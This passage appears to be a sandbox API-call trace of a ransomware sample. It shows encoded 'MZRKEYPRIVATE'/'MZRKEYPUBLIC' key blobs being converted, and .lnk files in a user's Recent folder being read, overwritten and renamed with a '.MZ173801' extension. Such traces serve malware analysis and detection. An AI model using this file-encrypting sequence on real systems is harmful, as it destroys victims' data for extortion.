lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0152.841] GetCurrentThreadId () returned 0xab4 [0152.841] GetCurrentThreadId () returned 0xab4 [0152.841] GetCurrentThreadId () returned 0xab4 [0152.842] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0152.842] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0152.842] GetCurrentThreadId () returned 0xab4 [0152.842] GetCurrentThreadId () returned 0xab4 [0152.842] GetCurrentThreadId () returned 0xab4 [0152.842] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YYk-.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\yyk-.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.843] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0152.843] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.843] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3a6 [0152.843] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.843] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3a6, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3a6, lpOverlapped=0x0) returned 1 [0152.981] CloseHandle (hObject=0x280) returned 1 [0152.981] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YYk-.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\yyk-.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0153.068] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3a6, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3a6, lpOverlapped=0x0) returned 1 [0153.069] CloseHandle (hObject=0x280) returned 1 [0153.071] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YYk-.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\yyk-.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YYk-.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\yyk-.lnk.mz173801")) returned 1 [0153.072] GetCurrentThreadId () returned 0xab4 [0153.072] GetCurrentThreadId () returned 0xab4 [0153.072] GetCurrentThreadId () returned 0xab4 [0153.072] GetCurrentThreadId () returned 0xab4 [0153.072] GetCurrentThreadId () returned 0xab4 [0153.072] GetCurrentThreadId () returned 0xab4 [0153.072] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712210a2, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x712210a2, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x712210a2, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3f3, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Y_OK e3 tBYnfH- u5V.lnk", cAlternateFileName="Y_OKE3~1.LNK")) returned 1 [0153.072] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.072] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.072] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Y_OK e3 tBYnfH- u5V.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\y_ok e3 tbynfh- u5v.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712210a2, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x712210a2, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x712210a2, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3f3)) returned 1 [0153.072] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Y_OK e3 tBYnfH- u5V.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\y_ok e3 tbynfh- u5v.lnk")) returned 0x20 [0153.072] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Y_OK e3 tBYnfH- u5V.lnk", dwFileAttributes=0x80) returned 1 [0153.074] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.074] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 